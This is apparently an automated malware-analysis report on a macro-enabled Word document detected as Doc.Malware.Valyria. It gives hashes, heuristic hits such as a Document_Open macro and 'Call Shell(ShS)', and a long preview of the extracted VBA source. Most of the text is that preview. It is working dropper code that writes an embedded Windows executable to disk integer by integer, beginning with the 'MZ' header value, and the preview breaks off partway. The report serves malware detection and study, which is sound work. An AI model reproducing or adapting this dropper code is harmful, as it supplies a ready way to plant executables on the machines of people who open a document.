Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 a993b886bd979282…

MALICIOUS

Office (OOXML) / .DOCX

110.6 KB Created: 2023-04-26 13:48:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2026-06-14
MD5: eb17afec53e326c6ff4e1ff5956b8ff3 SHA-1: 0522bafd96725adcc3f152daa6b7dafda23b2c5a SHA-256: a993b886bd979282a4c75ade3a386c20252583cb9dbf4f2bf148a78805dc36dc
250 Risk Score

Heuristics 6

  • ClamAV: Doc.Malware.Valyria-6714124-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-6714124-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Call Shell(ShS)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 104504 bytes
SHA-256: 24e45389b5db782cc7c1ebfbffb085d4bf11d6b735556e7ea177ce9f3f8afb9a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function FE(V As String) As Boolean
On Error Resume Next: FE = (FileLen(V) > -1)
End Function
Private Property Let Y(Value As Long)
Put #1, , Value
End Property
Private Sub CheckHash()
Y = 9460301
Y = 3
Y = 4
Y = 65535
Y = 184
Y = 0
Y = 64
For I = 1 To 8
Y = 0
Next
Y = 128
Y = 247078670
Y = -855002112
Y = 1275181089
Y = 1750344141
Y = 1881174889
Y = 1919381362
Y = 1663069537
Y = 1869508193
Y = 1700929652
Y = 1853190688
Y = 544106784
Y = 542330692
Y = 1701080941
Y = 168627502
Y = 36
Y = 0
Y = 17744
Y = 262476
Y = 1441267592
For I = 1 To 2
Y = 0
Next
Y = 16908512
Y = 721163
Y = 13312
Y = 20992
Y = 0
Y = 21118
Y = 8192
Y = 24576
Y = 4194304
Y = 8192
Y = 512
Y = 4
Y = 0
Y = 4
Y = 0
Y = 65536
Y = 1024
Y = 0
Y = -2059403262
Y = 1048576
Y = 4096
Y = 1048576
Y = 4096
Y = 0
Y = 16
For I = 1 To 2
Y = 0
Next
Y = 21036
Y = 79
Y = 32768
Y = 19632
For I = 1 To 4
Y = 0
Next
Y = 57344
Y = 12
Y = 24576
Y = 28
For I = 1 To 10
Y = 0
Next
Y = 8192
Y = 8
For I = 1 To 2
Y = 0
Next
Y = 8200
Y = 72
For I = 1 To 2
Y = 0
Next
Y = 2019914798
Y = 116
Y = 12932
Y = 8192
Y = 13312
Y = 1024
For I = 1 To 3
Y = 0
Next
Y = 1610612768
Y = 1633973038
Y = 24948
Y = 312
Y = 24576
Y = 512
Y = 14336
For I = 1 To 3
Y = 0
Next
Y = -1073741760
Y = 1920168494
Y = 99
Y = 19632
Y = 32768
Y = 19968
Y = 14848
For I = 1 To 3
Y = 0
Next
Y = 1073741888
Y = 1818587694
Y = 25455
Y = 12
Y = 57344
Y = 512
Y = 34816
For I = 1 To 3
Y = 0
Next
Y = 1107296320
For I = 1 To 122
Y = 0
Next
Y = 21088
Y = 0
Y = 72
Y = 327682
Y = 12568
Y = 8468
Y = 1
Y = 100663305
For I = 1 To 12
Y = 0
Next
Y = 1143662
Y = 142607872
Y = 1929641984
Y = 100663308
Y = 2432
Y = 176165892
Y = 704905216
Y = 274459
Y = 167
Y = 285212673
Y = 370
Y = 75888
Y = 176163328
Y = -570163200
Y = 36185358
Y = 168427520
Y = 808
Y = 2113986058
Y = 67108874
Y = 1914114605
Y = 1879048193
Y = 1139
Y = 688138
Y = 187368448
Y = 2686
Y = 356100
Y = 1915357696
Y = 1879048227
Y = 42610
Y = 294512
Y = 103285760
Y = -569769984
Y = 36185358
Y = 185204736
Y = 808
Y = 335601162
Y = 657150
Y = 124978688
Y = 336199680
Y = 256032
Y = 141759744
Y = -2146828288
Y = 67108870
Y = 185007636
Y = 1929773056
Y = 167772167
Y = 196616212
Y = 1930756096
Y = 167772168
Y = 1920
Y = 600068
Y = 2755072
Y = 7169
Y = 0
Y = 234885393
Y = 16777224
Y = 4390912
Y = 234903830
Y = 16777224
Y = 208923
Y = 44
Y = 285212674
Y = 2174
Y = 1339140
Y = 249431552
Y = 141349
Y = 671746560
Y = 167772163
Y = 108921054
Y = 537133056
Y = 1000
Y = 683797
Y = 707136000
Y = 4097
Y = 0
Y = 234884108
Y = 16777224
Y = 208923
Y = 44
Y = 285212675
Y = 2430
Y = 1011460
Y = 249431552
Y = 141349
Y = 671746560
Y = 167772163
Y = 125698270
Y = 537133056
Y = 3000
Y = 683797
Y = 707136000
Y = 4097
Y = 0
Y = 234884108
Y = 16777224
Y = 12219046
Y = 25194496
Y = 1912864768
Y = 1879048504
Y = 640
Y = 28602884
Y = 58748928
Y = 1912864768
Y = 1879048640
Y = 1152
Y = 10756
Y = 274451
Y = 83
Y = 285212676
Y = 122994
Y = 1779895152
Y = 880386
Y = 225053184
Y = 121252620
Y = 392759298
Y = 3624
Y = 993290
Y = 147982848
Y = 1058818
Y = 1483344384
Y = 542665239
Y = 256
Y = 1641176426
Y = 4392
Y = 1189898
Y = 321391104
Y = 185204736
Y = 1483347720
Y = 822675468
Y = 2754498
Y = 339987
Y = 52
Y = 285212677
Y = 1342335510
Y = 1494726542
Y = 722078570
Y = 105906722
Y = 105906793
Y = 33984873
Y = 1790414416
Y = 1483347800
Y = 65568
Y = -765629952
Y = 386309217
Y = 101341290
Y = 718942471
Y = 143379
Y = 54
Y = 285212678
Y = 122994
Y = 318901104
Y = 722277892
Y = 151261467
Y = 134679697
Y = 4392
Y = 1189898
Y = 321391104
Y = 185204736
Y = 223876873
Y = -1912336119
Y = 132002487
Y = 552
Y = 10758
Y = 405523
Y = 45
Y = 285212679
Y = 5160
Y = 36176394
Y = 1862664192
Y = 167772181
Y = 5743
Y = 1517578
Y = -495842816
Y = 1919942657
Y = 1879048678
Y = 672535831
Y = 167772184
Y = 42
Y = 405523
Y = 33
Y = 285212680
Y = 31879682
Y = -495816704
Y = 393216001
Y = 405280277
Y = 269090816
Y = 422052352
Y = 671744000
Y = 100663300
Y = 42
Y = 274451
Y = 79
Y = 285212681
Y = 1930893570
Y = 167772186
Y = 460261131
Y = 386531328
Y = 392780138
Y = 1674584
Y = 118096128
Y = -1912203770
Y = 1863607
Y = 304482816
Y = 206848
Y = 1862731264
Y = 167772189
Y = 1930958851
Y = 167772186
Y = 369494028
Y = 1874300422
Y = 167772190
Y = 1928968
Y = 2755072
Y = 522715722
Y = 34209792
Y = 8307
Y = 945930
Y = 2754048
Y = 77843
Y = 7
Y = 285212682
Y = 752386
Y = 2753536
Y = 143379
Y = 62
Y = 285212683
Y = 134096130
Y = 100663312
Y = 8563
Y = 2063731210
Y = 67108875
Y = 2063731756
Y = 67108875
Y = 2256646
Y = 50465280
Y = 2941
Y = 192610820
Y = 738459648
Y = 192610828
Y = 100925440
Y = 9071
Y = 10762
Y = 143387
Y = 41
Y = 285212684
Y = 880386
Y = 611255808
Y = 755630080
Y = 225378827
Y = 1862664192
Y = 167772197
Y = 673517278
Y = 167772162
Y = 206858
Y = 14551552
Y = 42
Y = 4097
Y = 0
Y = 234887706
Y = 16777224
Y = 274459
Y = 380
Y = 285212685
Y = 9768
Y = 369890058
Y = 1631062803
Y = 285212673
Y = -1710550772
Y = 661587466
Y = 956956672
Y = 313
Y = 2649862
Y = 1075317248
Y = 301
Y = 2715398
Y = 711920128
Y = 1913257984
Y = 1879048682
Y = 2828311
Y = 118163968
Y = 320212499
Y = 8534029
Y = 235995136
Y = 211422481
Y = 2893832
Y = 2114783744
Y = 67108868
Y = 128626
Y = 1255536
Y = 757598720
Y = 638189568
Y = 1150
Y = 33845764
Y = 671707136
Y = 100663302
Y = 136306
Y = 3025008
Y = 68356608
Y = 791151633
Y = 755630080
Y = 68225060
Y = 1832
Y = 369365254
Y = 807933206
Y = 638189568
Y = 673517534
Y = 167772162
Y = 52954387
Y = -569769984
Y = 621796864
Y = 552
Y = 671486730
Y = 167772163
Y = 219218142
Y = 219371543
Y = 235998481
Y = 1933555598
Y = 2130706431
Y = 67108868
Y = 132210
Y = 1255536
Y = 510790144
Y = 376438786
Y = 11048
Y = 319228682
Y = 252909072
Y = 269570859
Y = 328863505
Y = 671551751
Y = 167772204
Y = 1862666259
Y = 167772201
Y = 10863
Y = 36336138
Y = 135360512
Y = 1320
Y = 36598278
Y = 774402048
Y = 319422464
Y = 671682825
Y = 167772207
Y = 118559021
Y = 120064273
Y = 285605888
Y = 824712201
Y = 285868032
Y = 324540175
Y = 286200079
Y = 850890256
Y = 621797029
Y = 552
Y = 671748874
Y = 167772163
Y = 185663710
Y = 185817111
Y = 202443537
Y = -1807763570
Y = 721420286
Y = 19521
Y = 0
Y = 157
Y = 13
Y = 170
Y = 15
Y = 16777224
Y = 0
Y = 91
Y = 96
Y = 187
Y = 15
Y = 16777224
Y = 0
Y = 21
Y = 326
Y = 347
Y = 15
Y = 16777224
Y = 522715838
Y = 34209792
Y = 818452
Y = 1912734720
Y = 1879048672
Y = 3709
Y = 544408068
Y = 1862926336
Y = 100663315
Y = 3371778
Y = 310184448
Y = 704905216
Y = 77843
Y = 7
Y = 285212686
Y = 1014530
Y = 2753536
Y = 143379
Y = 62
Y = 285212687
Y = 134096130
Y = 100663318
Y = 8563
Y = 2063731210
Y = 67108879
Y = 2063731756
Y = 67108879
Y = 2256646
Y = 50465280
Y = 3965
Y = 259719684
Y = 738459648
Y = 259719692
Y = 100925440
Y = 9071
Y = 10762
Y = 274459
Y = 267
Y = 285212688
Y = 1404674
Y = -684063232
Y = 2113929216
Y = 67108865
Y = 145522
Y = 680269680
Y = 671154176
Y = 167772166
Y = 382
Y = 38695428
Y = -1944621056
Y = 16777256
Y = 1576
Y = 163338
Y = 1718748160
Y = 1919942658
Y = 1879048834
Y = 1576
Y = 209388042
Y = 1862533120
Y = 167772212
Y = 2853910
Y = 302776576
Y = 3505666
Y = 302844416
Y = 3505667
Y = 68356608
Y = 913245202
Y = 34209792
Y = 3195
Y = 3505668
Y = 68356608
Y = 897451026
Y = 218759168
Y = 897450770
Y = 201981952
Y = 930021906
Y = -569769984
Y = 36185358
Y = 168427520
Y = 808
Y = 33611274
Y = 14451
Y = 818442
Y = 2063729664
Y = 67108876
Y = 3763990
Y = 2063731200
Y = 67108876
Y = 3829526
Y = 2063731200
Y = 67108876
Y = 3895065
Y = 2063731200
Y = 67108876
Y = 3960599
Y = 1862404608
Y = 100663314
Y = 9327
Y = 34286858
Y = 4719
Y = 2453254
Y = 249432576
Y = 141349
Y = 671812096
Y = 167772163
Y = 2752734
Y = 7169
Y = 4784128
Y = 234920272
Y = 16777224
Y = 0
Y = 234945788
Y = 16777224
Y = 143387
Y = 34
Y = 285212689
Y = 817922
Y = 1030685696
Y = 185204736
Y = 282987031
Y = 141349
Y = 369887744
Y = 206858
Y = 14551552
Y = 10758
Y = 4097
Y = 0
Y = 268439568
Y = 16777224
Y = 1191963
Y = 1260
Y = 285212690
Y = 1080066
Y = -1925643264
Y = 33554435
Y = 4475
Y = 276496900
Y = -1912340480
Y = 57097399
Y = 2063728640
Y = 67108880
Y = 1145602
Y = 194642944
Y = 4092679
Y = 101321216
Y = 16239
Y = 303829770
Y = 4204572
Y = 487787008
Y = 1093147922
Y = 101318656
Y = 16239
Y = 303698698
Y = 4204570
Y = 454232576
Y = 1109924626
Y = 1477050368
Y = 4157190
Y = 403900928
Y = 1076369426
Y = 319422464
Y = 672731673
Y = 167772227
Y = 1064240728
Y = 319422464
Y = 672535062
Y = 167772224
Y = 387061523
Y = 17448
Y = 991320074
Y = 709
Y = 4157190
Y = 68356608
Y = 4550406
Y = 101911040
Y = 4615942
Y = 118688256
Y = 18216
Y = 36336138
Y = 671576064
Y = 167772232
Y = 18728
Y = 1929973002
Y = 167772222
Y = 386467596
Y = 18984
Y = 209388042
Y = 1862533120
Y = 167772212
Y = 303960841
Y = 730600990
Y = 318832640
Y = 371135007
Y = 11148
Y = 304091905
Y = 730600992
Y = 318832640
Y = 2116096545
Y = 167772213
Y = 571613715
Y = 13694
Y = 304288522
Y = 3505699
Y = 605227520
Y = 897459218
Y = 319422464
Y = 2116358693
Y = 167772213
Y = 638723603
Y = 13694
Y = 304550666
Y = 3505703
Y = 672336384
Y = -1944705006
Y = 16777259
Y = 689056019
Y = 13694
Y = 304747274
Y = 3505706
Y = 722668032
Y = -1944638702
Y = 16777259
Y = 739388435
Y = 13694
Y = 304943882
Y = 4943661
Y = 504433152
Y = 19496
Y = 85134602
Y = 393152770
Y = 285605888
Y = 5074693
Y = 1075186176
Y = 398
Y = 319358225
Y = 523047469
Y = 2657293
Y = 739442944
Y = 897461266
Y = 319422464
Y = 2116751915
Y = 167772213
Y = 705833491
Y = 2853910
Y = 689111296
Y = 897460498
Y = 319422464
Y = 2116555304
Y = 167772213
Y = 655501075
Y = 13694
Y = 304485130
Y = 3505702
Y = 622004736
Y = 897459474
Y = 319422464
Y = 2116293156
Y = 167772213
Y = 588391187
Y = 13694
Y = 304222986
Y = 3505698
Y = 554895872
Y = 897458450
Y = 319422464
Y = 2116031008
Y = 167772213
Y = 521281299
Y = 13694
Y = 303960842
Y = 3505694
Y = 772999680
Y = 1315909138
Y = 285868032
Y = 4991021
Y = 34408960
Y = 1535753
Y = 85001728
Y = 20335
Y = 5271306
Y = -1944647168
Y = 16777256
Y = 20847
Y = 285807370
Y = 5402377
Y = 135465472
Y = 1862404113
Y = 100663320
Y = 21359
Y = 1862603018
Y = 167772244
Y = 672597769
Y = 167772234
Y = 4092679
Y = 302647808
Y = 68293892
Y = 21800
Y = 678189578
Y = 167772246
Y = 68289555
Y = 671355413
Y = 167772247
Y = 1479044186
Y = 319422464
Y = 352588292
Y = 1495794706
Y = 1510604800
Y = 5908588
Y = 68356608
Y = 303367186
Y = 5974020
Y = 1817840128
Y = 23592
Y = 100930314
Y = 1567556625
Y = 101318656
Y = 1584334353
Y = 101318656
Y = 1601111825
Y = -569769984
Y = 36185374
Y = 319422464
Y = 206858
Y = 266209792
Y = 141349
Y = 185797120
Y = 808
Y = 151051786
Y = 24616
Y = 621796874
Y = 552
Y = 671879946
Y = 167772163
Y = 85000414
Y = 2853910
Y = 772997376
Y = 897461778
Y = 319422464
Y = 2116882989
Y = 167772213
Y = 739388435
Y = 24943
Y = 621796874
Y = 552
Y = 671945482
Y = 167772163
Y = 151126238
Y = 5999
Y = 621796870
Y = 552
Y = 672011018
Y = 167772163
Y = 33685726
Y = 4475
Y = 2102925060
Y = 67108881
Y = 91704
Y = 2098463232
Y = 67108880
Y = 293410306
Y = 939786240
Y = 339
Y = 13171
Y = 672076554
Y = 167772198
Y = 320221203
Y = 293022511
Y = -1708191440
Y = 286331155
Y = 10095
End Sub
Private Sub CheckHash0()
Y = 290466826
Y = 2649873
Y = 857213440
Y = 286200094
Y = 2715409
Y = 711920128
Y = 2114584576
Y = 67108867
Y = 2828311
Y = 1651444224
Y = 285868032
Y = 2649873
Y = 857278976
Y = 286200094
Y = 2715409
Y = 711920128
Y = 2114584576
Y = 67108867
Y = 2828310
Y = 1651444224
Y = -569769984
Y = 36185359
Y = 319422464
Y = 206866
Y = 14551552
Y = 1477914385
Y = 789655315
Y = -1215418351
Y = 35094834
Y = 3195
Y = 6516484
Y = 1684998656
Y = 319422464
Y = 722670385
Y = 34541888
Y = 3195
Y = 6516484
Y = 319883776
Y = 25967
Y = 6713098
Y = 58591744
Y = 369360896
Y = 11048
Y = 6450954
Y = 266209792
Y = 141349
Y = 336792064
Y = 808
Y = 285269514
Y = 324540179
Y = 286462227
Y = 1941582129
Y = 167772211
Y = 252776467
Y = 26479
Y = 724701962
Y = 674370092
Y = 167772264
Y = 353441043
Y = 26920
Y = 6957066
Y = -1972237824
Y = 376438786
Y = 27432
Y = 154342922
Y = 353439761
Y = 27759
Y = 674370058
Y = 167772269
Y = 249482029
Y = 385757714
Y = 452984834
Y = 28271
Y = 285400074
Y = 7302928
Y = 276630016
Y = 704905216
Y = 50241
Y = 0
Y = 636
Y = 117
Y = 753
Y = 15
Y = 16777224
Y = 0
Y = 408
Y = 360
Y = 768
Y = 15
Y = 16777224
Y = 0
Y = 783
Y = 8
Y = 791
Y = 15
Y = 16777224
Y = 0
…
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 260096 bytes
SHA-256: 4b998d71d33e5abb87dada2c059c1e538af560d20769141c59a20519e279cb7d
Detection
ClamAV: Doc.Malware.Valyria-6714124-0
Obfuscation or payload: unlikely